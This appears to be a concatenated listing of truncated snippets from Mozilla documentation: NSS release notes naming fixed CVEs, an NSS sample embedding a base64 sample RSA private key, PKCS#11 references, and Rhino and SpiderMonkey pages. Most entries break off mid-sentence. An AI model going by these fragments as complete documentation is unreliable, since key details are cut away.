new functionality is introduced in this release. this is a patch release to fix cve-2018-12404 bugs fixed in nss 3.36.6 bug 1485864 - cache side-channel variant of the bleichenbacher attack (cve-2018-12404) bug 1389967 and bug 1448748 - fixes for mingw on x64 platforms. compatibility nss...
NSS 3.36.7 release notes
introduction network security services (nss) 3.36.7 is a patch release for nss 3.36. the bug fixes in nss 3.36.7 are described in the "bugs fixed" section below. it was released on 19 january 2019. distribution information the hg tag is nss_3_36_7_rtm. nss 3.36.7 requires nspr 4.19 or
newer. nss 3.36.7 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_36_7_rtm/src/ other releases are available in nss releases.
new in nss 3.36.7
new functionality no
new functionality is introduced in this release. this is a patch release to fix bugs. bugs fixed in nss 3.36.7 bug 1507135 and bug 1507174 - add additional null checks to several cms functions to fix a rare c...
NSS 3.36.8 release notes
introduction network security services (nss) 3.36.8 is a patch release for nss 3.36. the bug fixes in nss 3.36.8 are described in the "bugs fixed" section below. it was released on 21 june 2019. distribution information the hg tag is nss_3_36_8_rtm. nss 3.36.8 requires nspr 4.19 or
newer. nss 3.36.8 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_36_8_rtm/src/ other releases are available in nss releases.
new in nss 3.36.8
new functionality no
new functionality is introduced in this release. this is a patch release to fix bugs. bugs fixed in nss 3.36.8 1554336 - optimize away unneeded loop in mpi.c 1515342 - more thorough input checking (cve-...
NSS 3.40 release notes
introduction the nss team has released network security services (nss) 3.40, which is a minor release. distribution information the hg tag is nss_3_40_rtm. nss 3.40 requires nspr 4.20 or
newer. nss 3.40 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_40_rtm/src/
new in nss 3.40
new functionality the draft-00 version of encrypted sni support is implemented tstclnt now takes -n option to specify encrypted sni key
new functions none notable changes in nss 3.40 the mozilla::pkix library has been ported from mozilla psm to nss. this is a c++ library for building certification paths. mozilla::pkix apis are not exposed in the libraries nss b...
NSS 3.41.1 release notes
introduction network security services (nss) 3.41.1 is a patch release for nss 3.41. the bug fixes in nss 3.41.1 are described in the "bugs fixed" section below. it was released on 22 january 2019. distribution information the hg tag is nss_3_41_1_rtm. nss 3.41.1 requires nspr 4.20 or
newer. nss 3.41.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_41_1_rtm/src/ other releases are available in nss releases.
new in nss 3.41.1
new functionality no
new functionality is introduced in this release. this is a patch release to fix bugs. bugs fixed in nss 3.41.1 bug 1507135 and bug 1507174 - add additional null checks to several cms functions to fix a rare cms cras...
NSS 3.42.1 release notes
nss 3.42.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_42_1_rtm/src/ other releases are available in nss releases. ...
NSS 3.43 release notes
introduction the nss team has released network security services (nss) 3.43 on 16 march 2019, which is a minor release. distribution information the hg tag is nss_3_43_rtm. nss 3.43 requires nspr 4.21 or
newer. nss 3.43 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_43_rtm/src/ other releases are available in nss releases.
new in nss 3.43
new functionality
new functions in sechash.h hash_gethashoidtagbyhashtype - convert type hash_hashtype to type secoidtag in sslexp.h ssl_sendcertificaterequest - allow server to request post-handshake client authentication. to use this both peers need to enable the ssl_enable_post_handshake_auth option. ...
NSS 3.44.2 release notes
introduction network security services (nss) 3.44.2 is a patch release for nss 3.44. the bug fixes in nss 3.44.2 are described in the "bugs fixed" section below. it was released on 2 october 2019. distribution information the hg tag is nss_3_44_2_rtm. nss 3.44.2 requires nspr 4.21 or
newer. nss 3.44.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_44_2_rtm/src/ other releases are available in nss releases.
new in nss 3.44.2 no
new functionality is introduced in this release. bugs fixed in nss 3.44.2 bug 1582343 - soft token mac verification not constant time bug 1577953 - remove arbitrary hkdf output limit by allocating space as needed this bugzilla ...
NSS 3.44.3 release notes
introduction network security services (nss) 3.44.3 is a patch release for nss 3.44. the bug fixes in nss 3.44.3 are described in the "bugs fixed" section below. it was released on 19 november 2019. the nss team would like to recognize first-time contributors: craig disselkoen distribution information the hg tag is nss_3_44_3_rtm. nss 3.44.3 requires nspr 4.21 or
newer. nss 3.44.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_44_3_rtm/src/ other releases are available in nss releases.
new in nss 3.44.3 no
new functionality is introduced in this release. bugs fixed in nss 3.44.3 bug 1579060 - don't set the constructed bit for issueruniqueid and sub...
NSS 3.44.4 release notes
introduction the nss team has released network security services (nss) 3.44.4 on 19 may 2020. this is a security patch release. thank you to cesar pereida garcia and the network and information security group (nisec) at tampere university for reporting this issue. distribution information the hg tag is nss_3_44_4_rtm. nss 3.44.4 requires nspr 4.21 or
newer. nss 3.44.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_44_4_rtm/src/ other releases are available in nss releases.
new in nss 3.44.4 no
new functionality is introduced in this release. bugs fixed in nss 3.44.4 cve-2020-12399 - force a fixed length for dsa exponentiation compatibility n...
NSS 3.44 release notes
introduction the nss team has released network security services (nss) 3.44 on 10 may 2019, which is a minor release. the nss team would like to recognize first-time contributors: kevin jacobs, david carlier, alexander scheel, and edouard oger. distribution information the hg tag is nss_3_44_rtm. nss 3.44 requires nspr 4.21 or
newer. nss 3.44 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_44_rtm/src/ other releases are available in nss releases.
new in nss 3.44
new functionality
new functions in lib/certdb/cert.h cert_getcertificateder - access the der-encoded form of a certcertificate. notable changes in nss 3.44 it is now possible to buil...
NSS 3.46.1 release notes
introduction network security services (nss) 3.46.1 is a patch release for nss 3.46. the bug fixes in nss 3.46.1 are described in the "bugs fixed" section below. it was released on 2 october 2019. distribution information the hg tag is nss_3_46_1_rtm. nss 3.46.1 requires nspr 4.22 or
newer. nss 3.46.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_46_1_rtm/src/ other releases are available in nss releases.
new in nss 3.46.1 no
new functionality is introduced in this release. bugs fixed in nss 3.46.1 bug 1582343 - soft token mac verification not constant time bug 1577953 - remove arbitrary hkdf output limit by allocating space as needed this bugzilla ...
NSS 3.47.1 release notes
introduction network security services (nss) 3.47.1 is a patch release for nss 3.47. the bug fixes in nss 3.47.1 are described in the "bugs fixed" section below. it was released on 19 november 2019. the nss team would like to recognize first-time contributors: craig disselkoen distribution information the hg tag is nss_3_47_1_rtm. nss 3.47.1 requires nspr 4.23 or
newer. nss 3.47.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_47_1_rtm/src/ other releases are available in nss releases.
new in nss 3.47.1 no
new functionality is introduced in this release. bugs fixed in nss 3.47.1 cve-2019-11745 - encryptupdate should use maxout, not block size bug ...
NSS 3.47 release notes
introduction the nss team has released network security services (nss) 3.47 on 18 october 2019, which is a minor release. the nss team would like to recognize first-time contributors: christian weisgerber deian stefan jenine distribution information the hg tag is nss_3_47_rtm. nss 3.47 requires nspr 4.23 or
newer. nss 3.47 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_47_rtm/src/ other releases are available in nss releases. upcoming changes to default tls configuration the next nss team plans to make two changes to the default tls configuration in nss 3.48, which will be released in early december: tls 1.3 will be the default maximum tls versi...
NSS 3.48.1 release notes
introduction network security services (nss) 3.48.1 is a patch release for nss 3.48. the bug fixes in nss 3.48.1 are described in the "bugs fixed" section below. it was released on 13 january 2020. distribution information the hg tag is nss_3_48_1_rtm. nss 3.48.1 requires nspr 4.23 or
newer. nss 3.48.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_48_1_rtm/src/ other releases are available in nss releases.
new in nss 3.48.1 no
new functionality is introduced in this release. bugs fixed in nss 3.48.1 bug 1606992 - cache the most recent pbkdf2 password hash, to speed up repeated sdr operations, important with the increased kdf iteration counts. this bu...
NSS 3.49.1 release notes
introduction network security services (nss) 3.49.1 is a patch release for nss 3.49. the bug fixes in nss 3.49.1 are described in the "bugs fixed" section below. it was released on 13 january 2020. distribution information the hg tag is nss_3_49_1_rtm. nss 3.49.1 requires nspr 4.24 or
newer. nss 3.49.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_49_1_rtm/src/ other releases are available in nss releases.
new in nss 3.49.1 no
new functionality is introduced in this release. bugs fixed in nss 3.49.1 bug 1606992 - cache the most recent pbkdf2 password hash, to speed up repeated sdr operations, important with the increased kdf iteration counts. this bu...
NSS 3.49.2 release notes
introduction network security services (nss) 3.49.2 is a patch release for nss 3.49. the bug fixes in nss 3.49.2 are described in the "bugs fixed" section below. it was released on 23 january 2020. distribution information the hg tag is nss_3_49_2_rtm. nss 3.49.2 requires nspr 4.24 or
newer. nss 3.49.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_49_2_rtm/src/ other releases are available in nss releases.
new in nss 3.49.2 no
new functionality is introduced in this release. bugs fixed in nss 3.49.2 bug 1606992 - cache the most recent pbkdf1 password hash, to speed up repeated sdr operations, important with the increased kdf iteration counts. nss 3.49.
NSS 3.49 release notes
introduction the nss team has released network security services (nss) 3.49 on 3 january 2020, which is a minor release. the nss team would like to recognize first-time contributors: alex henrie distribution information the hg tag is nss_3_49_rtm. nss 3.49 requires nspr 4.24 or
newer. nss 3.49 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_49_rtm/src/ other releases are available in nss releases. notable changes in nss 3.49 the legacy dbm database, libnssdbm, is no longer built by default when using gyp builds. see bug 1594933 for details. bugs fixed in nss 3.49 bug 1513586 - set downgrade sentinel for client tls versions lower than 1.2. bug ...
NSS 3.50 release notes
nss 3.50 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_50_rtm/src/ other releases are available in nss releases. ...
NSS 3.51.1 release notes
introduction the nss team has released network security services (nss) 3.51.1 on 3 april 2020. this is a minor release focusing on functional bug fixes and low-risk patches only. distribution information the hg tag is nss_3_51_1_rtm. nss 3.51.1 requires nspr 4.25 or
newer. nss 3.51.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_51_1_rtm/src/ other releases are available in nss releases. notable changes in nss 3.51.1 bug 1617968 - update delegated credentials implementation to draft-07. bugs fixed in nss 3.51.1 bug 1619102 - add workaround option to include both dtls and tls versions in dtls supported_versions. bug 1619056 - update readme: tls 1...
NSS 3.51 release notes
introduction the nss team has released network security services (nss) 3.51 on 6 march 2020, which is a minor release. the nss team would like to recognize first-time contributors: dmitry baryshkov victor tapia distribution information the hg tag is nss_3_51_rtm. nss 3.51 requires nspr 4.25 or
newer. nss 3.51 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_51_rtm/src/ other releases are available in nss releases. notable changes in nss 3.51 updated dtls 1.3 implementation to draft-34. see bug 1608892 for details. bugs fixed in nss 3.51 bug 1608892 - update dtls 1.3 implementation to draft-34. bug 1611209 - correct swapped pkcs11 values of ckm_...
NSS 3.52.1 release notes
introduction the nss team has released network security services (nss) 3.52.1 on 19 may 2020. this is a security patch release. thank you to cesar pereida garcia and the network and information security group (nisec) at tampere university for reporting this issue. distribution information the hg tag is nss_3_52_1_rtm. nss 3.52.1 requires nspr 4.25 or
newer. nss 3.52.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_52_1_rtm/src/ other releases are available in nss releases.
new in nss 3.52.1 no
new functionality is introduced in this release. bugs fixed in nss 3.52.1 cve-2020-12399 - force a fixed length for dsa exponentiation compatibility nss 3.
NSS 3.53.1 release notes
introduction the nss team has released network security services (nss) 3.53.1 on 16 june 2020. this is a security patch release. thank you to sohaib ul hassan, billy bob brumley, and the network and information security group (nisec) at tampere university for reporting this issue and providing a patch. distribution information the hg tag is nss_3_53_1_rtm. nss 3.53.1 requires nspr 4.25 or
newer. nss 3.53.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_53_1_rtm/src/ other releases are available in nss releases.
new in nss 3.53.1 no
new functionality is introduced in this release. bugs fixed in nss 3.53.1 cve-2020-12402 - use constant-time gcd and modular...
NSS 3.54 release notes
nss 3.54 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_54_rtm/src/ other releases are available in nss releases. notable changes in nss 3.54 support for tls 1.3 external pre-shared keys (bug 1603042). ...
NSS Sample Code sample5
npftw4srftz2onuzyluzdhzdb+k//8dct3iaozuui3r2emcaweaaq==" #define base64_encoded_privatekeyinfo "miibvqibadanbgkqhkig9w0baqefaascat8wgge7ageaakeavcxpmhzckriy6cj5rz89tdb4sm/8v4hfbumlzpziekw1biysw3pag1tpittmmdl1v6t//x1xpcga7nrsldhz4widaqabakeajh8+4qncwcmgivnm6ytbpqt+k/jeoexg2bqhjojvnxn3fazgcefxvpuibcjvfaijs9ybcmozzrato0+k2hwnoqihaoc4nvbo8fqhzs4yxm1m86kml47fa9ui//oufbhladw1aiea2dbmixnsbokb+ohver69p0g
newlvcjc9bjdvfdlvslcciqcptv3vgyjv2vdwxqzqahc+yb4gigaqoqbcbmjd3lyflqiga+vtydunoqwtzwve4grf7izk2v5ccnhg3gr5rgwxn58cigccaforruksm66isg0iti04g9v/w+wmx91wjeeb+qbz" int main(int argc, char **argv) { secstatus rv; certcertificate *cert = null; seckeypublickey *pubkey = null; certsubjectpublickeyinfo *spki = null; seckeyprivatekey *pvtkey = null; int modulus_len, i,...
NSS Sample Code
nsport between servers sample code 2: symmetric encryption sample code 3: hashing, mac sample code 4: pki encryption sample code 5: pki encryption with a raw public & private key in der format sample code 6: persistent symmetric keys in nss database these are very old examples in need of replacement. see https://bugzilla.mozilla.org/show_bug.cgi?id=490238 you are welcome to download the
new samples via: hg clone https://hg.mozilla.org/projects/nss; cd nss; hg update samples_branch the
new samples: /docs/mozilla/projects/nss/
new_nss_samples ...
nss tech note1
inated array. the offset parameter specifies where to store the type identifier in the target data . subsequent templates specify a custom identifier for each possible component type in the size parameter . sec_asn1_debug_break: makes the decoder assert when processing the template. this option is only supported with sec_quickderdecodeitem . it is useful to debug your templates or when writing
new templates if they don't work. differences between sec_asn1decodeitem and sec_quickderdecodeitem the arena argument is required to be non-null for sec_quickderdecodeitem . with sec_asn1decodeitem, it can be null, and if so, the decoder will allocate from the heap using pr_malloc . however, this usage is strongly discouraged and we recommend that you always use an arena pool even with sec_as...
nss tech note4
example code to illustrate access to the info is given below. background on cert extensions an extension has the following attributes object id (oid) : a unique oid represents an algorithm, a mechanism, a piece of information, etc. examples: x500 rsa encryption, certificate basic constraints, pkcs#7 digested data, etc. there is a long list of pre-defined oids, and
new ones can be added dynamically by an application. the oid data structure contains an array of identifier bytes (each byte is a "level" in a hierarchical namespace), a text description, and some other things. critical : indicates whether the extension is critical value : the value of the extension looping through all extensions certcertextension** e...
nss tech note6
it must be put in the same directory as the nss libraries. the libsoftokn3.chk/softokn3.chk file contains a checksum for the softoken. when in fips 140 mode, the softoken is required to compute its checksum and compare it with the value in libsoftokn3.chk/softokn3.chk. ...
nss tech note7
myrsapublickey) }, { sec_asn1_integer, offsetof(myrsapublickey,m_modulus), }, { sec_asn1_integer, offsetof(myrsapublickey,m_exponent), }, { 0, } }; prarenapool *arena; /* * point inpubkey.m_modulus and m_exponent at the data, and * then set their types to unsigned integers. */ inpubkey.m_modulus.type = siunsignedinteger; inpubkey.m_exponent.type = siunsignedinteger; arena = port_
newarena(der_default_chunksize); sec_asn1encodeitem(arena, &derpubkey, &inpubkey, myrsapublickeytemplate); pubkey = seckey_importderpublickey(&derpubkey, ckk_rsa); port_freearena(arena, pr_false); public keys may be extracted from certificates. given a certficate (certcertificate *), use cert_extractpublickey() to extract its public key. the returned public key may be used afte...
NSS Tech Notes
tn1: how to use the nss asn.1 and quickder decoders. tn2: using the pkcs #11 module logger. tn3: all about certificate extensions. tn4: pulling certificate extension information out of ssl certificates. tn5: using nss to perform miscellaneous cryptographic operations. tn6: nss .chk files for the fips mode. tn7: rsa signing and encryption with nss. tn8: background information on libssl's cache functions and sids. ...
Overview of NSS
y management, cryptography module management, and other development tasks. nss comes with an extensive and growing set of documentation, including introductory material, api references, man pages for command-line tools, and sample code. nss is available as source and shared (dynamic) libraries. every nss release is backward compatible with previous releases, allowing nss users to upgrade to the
new nss shared libraries without recompiling or relinking their applications. open-source licensing and distribution nss is available under the mozilla public license, version 2. the latest source code is available for free worldwide from https://www.mozilla.org and its mirror sites. ...
PKCS11 module installation
ard readers, biometric security devices, and external certificate stores. this article covers the two methods for installing pkcs #11 modules into firefox. users can use the preferences dialog to install or remove pkcs #11 module. extensions can programmatically manage pkcs #11 modules using the nsipkcs11 programming interface. note: the information in this article is specific to firefox 3.5 and
newer. older versions of firefox may support the window.pkcs11 property for installing pkcs #11 modules. using the firefox preferences to install pkcs #11 modules save the pkcs #11 module to a permanent location on your local computer open the firefox preferences dialog. choose "advanced" > "encryption" > "security devices" choose "load" enter a name for the security module, such as "my client...
PKCS 7 functions
the mozilla cross reference (mxr) link for each function provides access to the function definition, prototype definition, and source code references. the nss version column indicates which versions of nss support the function. ...
Build instructions
s set to "0". for windows, install the mozillabuild environment and microsoft visual studio 2010. (the free edition works, and other versions like visual studio 2008 and visual studio 2012 may also work.) use start-shell-msvc2010.bat from mozillabuild to get a bash shell with the path already configured, and execute these instructions from within that bash shell. for rhel-5, you need to use the
new assembler. you can install the
new assembler as root as follows: yum install binutils220 you can then use the
new assembler by adding /usr/libexec/binutils220 to the beginning of your build path. this can be done in sh or bash as follows: export path=/usr/libexec/binutils220:$path the following build instructions should work for all platforms (with some platform-specific changes as noted). b...
FC_CopyObject
name fc_copyobject - create a copy of an object. syntax ck_rv fc_copyobject( ck_session_handle hsession, ck_object_handle hobject, ck_attribute_ptr ptemplate, ck_ulong uscount, ck_object_handle_ptr ph
newobject ); parameters hsession [in] session handle. hobject [in] object handle. ptemplate [in] object template. uscount [in] number of attributes in the template. ph
newobject [out] pointer to location to receive the
new object's handle. description fc_copyobject creates a copy of an object using the attributes specified in the template. a user must log into the token (to assume the nss user role) before copying a secret or private key object. return value examples see also fc_destroyobject, nsc_copyobject ...
FC_DeriveKey
andle hsession, ck_mechanism_ptr pmechanism, ck_object_handle hbasekey, ck_attribute_ptr ptemplate, ck_ulong usattributecount, ck_object_handle_ptr phkey ); parameters hsession [in] session handle. pmechanism [in] pointer to the mechanism to use. hbasekey [in] handle of the base key. pwrappedkey [in] pointer to the wrapped key. ptemplate [in] pointer to the list of attributes for the
new key. usattributecount [in] number of attributes in the template. phkey [out] pointer to the location to receive the handle of the
new key. description fc_derivekey derives (decrypts) a key and creates a
new key object. a user must log into the token (to assume the nss user role) before calling fc_derivekey. return value examples see also nsc_derivekey ...
FC_InitToken
specifically, fc_inittoken() initializes or clears the key database, removes the password, and then marks all the user certs in the certificate database as non-user certs. (user certs are the certificates that have their associated private keys in the key database.) a user must be able to call fc_inittoken() without logging into the tok...
FC_UnwrapKey
ket to use for unwrapping. pwrappedkey [in] pointer to the wrapped key. uswrappedkeylen [in] length of the wrapped key. ptemplate [in] pointer to the list of attributes for the unwrapped key. usattributecount [in] number of attributes in the template. phkey [out] pointer to the location to receive the handle of the unwrapped key. description fc_unwrapkey unwraps (decrypts) a key and creates a
new key opbject. if pwrappedkey is null the length of the wrapped key is returned in puswrappedkeylen and fc_unwrapkey may be called again with pwrappedkey set to retrieve the wrapped key. a user must log into the token (to assume the nss user role) before calling fc_unwrapkey. return value examples see also nsc_unwrapkey ...
NSC_InitToken
specifically, nsc_inittoken() initializes or clears the key database, removes the password, and then marks all the user certs in the certificate database as non-user certs. (user certs are the certificates that have their associated private keys in the key database.) note: the so password should be the empty string, i.e., ulpinlen arg...
NSS_Initialize
the following limitation applies when this is set : secmod_waitforanytokenevent will not use c_waitforslotevent, in order to prevent the need for c_finalize. this call will be emulated instead. nss_init_reserved - currently has no effect, but may be used in the future to trigger better cooperation between pkcs#11 modules used by both nss and the java sunpkcs11 provider. this should occur after a
new flag is defined for c_initialize by the pkcs#11 working group. nss_init_cooperate - sets the above four recommended options for applications that use both nss and the java sunpkcs11 provider. return value nss_initialize returns secsuccess on success, or secfailure on failure. examples #include <nss.h> secstatus rv; const char *configdir; configdir = ...; /* application-specific */ rv = nss_in...
NSS Key Functions
*key); parameter this function has the following parameter: key a pointer to the private key structure to destroy. description certificate and key structures are shared objects. when an application makes a copy of a particular certificate or key structure that already exists in memory, ssl makes a shallow copy--that is, it increments the reference count for that object rather than making a whole
new copy. when you call cert_destroycertificate or seckey_destroyprivatekey, the function decrements the reference count and, if the reference count reaches zero as a result, both frees the memory and sets all the bits to zero. the use of the word "destroy" in function names or in the description of a function implies reference counting. never alter the contents of a certificate or key structure. if ...
NSS tools : cmsutil
ssage. arguments option arguments modify an action and are lowercase. -c content use this detached content (decode only). -d dbdir specify the key/certificate database directory (default is ".") -e envfile specify a file containing an enveloped message for a set of recipients to which you would like to send an encrypted message. if this is the first encrypted message for that set of recipients, a
new enveloped message will be created that you can then use for future messages (encrypt only). -g include a signing time attribute (sign only). -h num generate email headers with info about cms message (decode only). -i infile use infile as a source of data (default is stdin). -n nickname specify nickname of certificate to sign with (sign only). -n suppress output of contents (decode only). -o outfi...
troubleshoot.html
if you have suggestions for this page, please post them to mozilla.dev.tech.crypto. building nss having /usr/ucb/bin in the path before /usr/ccs/bin breaks the build on 64-bit solaris. the solaris compiler needs to be workshop-5.0 or greater. the 64-bit builds don't support gcc. ...
OLD SSL Reference
old ssl reference we are migrating this ssl reference into the format described in the mdn style guide. if you are inclined to help with this migration, your help would be very much appreciated. upgraded documentation may be found in the current nss reference ssl reference
newsgroup: mozilla.dev.tech.crypto writer: sean cotter manager: wan-teh chang chapter 1 overview of an ssl application ssl and related apis allow compliant applications to configure sockets for authenticated, tamper-proof, and encrypted communications. this chapter introduces some of the basic ssl functions. chapter 2, "getting started with ssl" illustrates their use in sample client and server applications. initialization initializing caches ...
pkfnc.html
uration. to retrieve its current value, use ssl_revealpinarg. returns the function returns one of these values: if successful, a pointer to a certificate structure. if unsuccessful, null. description a nickname is an alias for a certificate subject. there may be multiple certificates with the same subject, and hence the same nickname. this function will return the
newest certificate that matches the subject, based on the notbefore / notafter fields of the certificate. when you are finished with the certificate structure returned by pk11_findcertfromnickname, you must free it by calling cert_destroycertificate. the pk11_findcertfromnickname function calls the password callback function set with pk11_setpasswordfunc and passes it the pointer specified by the wi...
sslcrt.html
cert a pointer to the certificate to destroy. description certificate and key structures are shared objects. when an application makes a copy of a particular certificate or key structure that already exists in memory, ssl makes a shallow copy--that is, it increments the reference count for that object rather than making a whole
new copy. when you call cert_destroycertificate or seckey_destroyprivatekey, the function decrements the reference count and, if the reference count reaches zero as a result, both frees the memory and sets all the bits to zero. the use of the word "destroy" in function names or in the description of a function implies reference counting. never alter the contents of a certificate or key structure. if...
sslkey.html
key a pointer to the private key structure to destroy. description certificate and key structures are shared objects. when an application makes a copy of a particular certificate or key structure that already exists in memory, ssl makes a shallow copy--that is, it increments the reference count for that object rather than making a whole
new copy. when you call cert_destroycertificate or seckey_destroyprivatekey, the function decrements the reference count and, if the reference count reaches zero as a result, both frees the memory and sets all the bits to zero. the use of the word "destroy" in function names or in the description of a function implies reference counting. never alter the contents of a certificate or key structure. i...
Download Rhino
rhino is available for download both in source and compiled form. ...
Rhino downloads archive
see also rhino downloads. you can download binary distributions of rhino from http://ftp.mozilla.org/pub/mozilla.org/js/. release release date change log download link rhino 1.7r4 2012-06-18
new in rhino 1.7r4 rhino1_7r4.zip rhino 1.7r3 2011-05-09
new in rhino 1.7r3 rhino1_7r3.zip rhino 1.7r2 2009-03-22
new in rhino 1.7r2 rhino1_7r2.zip rhino 1.7r1 2008-03-06
new in rhino 1.7r1 rhino1_7r1.zip rhino 1.6r7 2007-08-20
new in rhino 1.6r7 rhino1_6r7.zip rhino 1.6r6 2007-07-30
new in rhino 1.6r6 rhino1_6r6.zip rhino 1.6r5 2006-11-19 same code as 1.6r4, but relicensed under mpl/gpl. rhino1_6r5.zip rhino 1.6r4 2006-09-10 bug 343976 ...
Rhino FAQ
frequently asked questions about rhino how do i create a java array from javascript? you must use java reflection. for instance, to create an array of java.lang.string of length five, do var stringarray = java.lang.reflect.array.
newinstance(java.lang.string, 5); then if you wish to assign the string "hi" to the first element, simply execute stringarray[0] = "hi". creating arrays of primitive types is slightly different: you must use the type field. for example, creating an array of seven ints can be done with the code var intarray = java.lang.reflect.array.
newinstance(java.lang.integer.type, 7); when i try to execute a script i get the exception required security context missing. what's going on? you've likely missed placing the security.properties file in your class path at ...
Rhino optimization
were previously not supported in higher optimization levels. these features have been removed from the language in ecma, so higher optimization levels are now conformant. future versions may allocate more aggressive optimizations to higher optimization levels. for compatibility with future versions, use level 1. for maximal optimization, use level 9, but retest your application when upgrading to
new versions. scripts are optimized at compile time, not at execution time. so if a script is compiled with the context's optimizationlevel set to 1, it will be executed with those optimizations, regardless of the optimizationlevel of the context in which it is executed. ...
Rhino overview
anguage version is selected using the language attribute of the script tag with values such as "javascript1.2". version 1.3 and greater are ecma conformant. operators == and != version 1.2 only uses strict equality for the == and != operators. in version 1.3 and greater, == and != have the same meanings as ecma. the operators === and !== use strict equality in all versions. toboolean boolean(
new boolean(false)) is false for all versions before 1.3. it is true (and thus ecma conformant) for version 1.3 and greater. array.prototype.tostring and object.prototype.tostring version 1.2 only returns array or object literal notation ("[1]" or "{a:1, b:2}" for example). in version 1.3 and greater these functions are ecma conformant. array constructor array(i) for a number argument i construct...
The JavaScript Runtime
e property name was presented in the script as a string. similarly, values of numbers that do not fix in integers (like 1.1 and 0x100000000) must be converted to strings. defining host objects host objects are javascript objects that provide special access to the host environment. for example, in a browser environment, the window and document objects are host objects. the easiest way to define
new host objects is by using scriptableobject.defineclass(). this method defines a set of javascript objects using a java class. several of the examples define host objects this way. if the services provided by defineclass are insufficient, try other methods of scriptableobject and functionobject, such as defineproperty and definefunctionproperties. contexts and threads every thread that executes ...
Shumway
o firefox. end-users and less involved developers may report issues by hovering over "shumway" within flash content, clicking "report problems", and filling the form. performance and compatibility issues with flash content should be reported through github. from the main page for shumway at github, click on "issues" and browse the outstanding issues for similar bugs to contribute to. click on "
new issue" to file a
new entry if a duplicate is not found. please note that source code will be requested for the shumway developers to use as small test cases. there does not currently exist a private method to contribute source code. you could also directly commit bug fixes as pull requests. this would be very much appreciated. ...
FOSS
feel free to add your own spidermonkey-based open source projects (and if necessary add categories)! wrappers / bindings c++ cocos2d-js - cocos2d-js is a cross-platform game engine which embeds spidermonkey, providing the same api for both web and native platforms. getting started here. ...
Self-hosted builtins in SpiderMonkey
ed in the ecmascript specifications that are similar to array and object, but can't be modified by application code. the selfhostingdefines.h header contains adding self-hosted functions to host objects first, the code has to be embedded into spidermonkey. the easiest way to accomplish that is to add the code to a pre-existing .js file in builtin/. if it doesn't fit into any of those, create a
new .js file in that directory and add it to the selfhosted.inputs list in moz.build. to add a self-hosted function as a method to a host object, add it to that host object's jsfunctionspec array using the js_self_hosted_fn macro. example: js_self_hosted_fn("foreach", "arrayforeach", 1,0) this causes the self-hosted function arrayforeach to be installed as the host object's method foreach.
INT_FITS_IN_JSVAL
type description i jsint the c integer value to check. description determines if a specified c integer value, i, lies within the range allowed for integer jsvals. if so, int_fits_in_jsval returns true, and i can be cast to jsval by calling int_to_jsval(i). otherwise, int_fits_in_jsval returns false. in this case, the application can still convert i to a jsval using js_
newnumbervalue. warning: the type of the argument i must be jsint, but the c/c++ compiler does not enforce type safety here. if i is an unsigned or 64-bit value, int_fits_in_jsval can silently give the wrong answer. starting in spidermonkey 1.8.5, jsval can store a full 32-bit integer, so this check isn't needed any longer for 32-bit integers. example the following code snippet illustrates how a ...
INT_TO_JSVAL
pidermonkey 1.8.5, not all integers can be stored in a jsval; use int_fits_in_jsval to test. starting in spidermonkey 1.8.5, jsval can store a full 32-bit integer, so this check isn't needed any longer for 32-bit integers.") }} if i does not fit into a jsval (see int_fits_in_jsval), the behavior is undefined. to convert any number to a jsval, regardless of whether it fits in an int jsval, use js_
newnumbervalue instead. to convert an integer jsval to a c integer, use js::toint32. see also mxr id search for int_to_jsval js::toint32 js::int32value bug 1177892 -- removed ...
JS::AutoVectorRooter
inserts an element val at the position specified by p. void infallibleappend(const t &v) appends an element v to the array. for use when space has already been reserved. void popback() pops an element from the array. t popcopy() pops an element from the array and returns it. bool growby(size_t inc) grows the array by inc. bool resize(size_t
newlength) resizes the array to
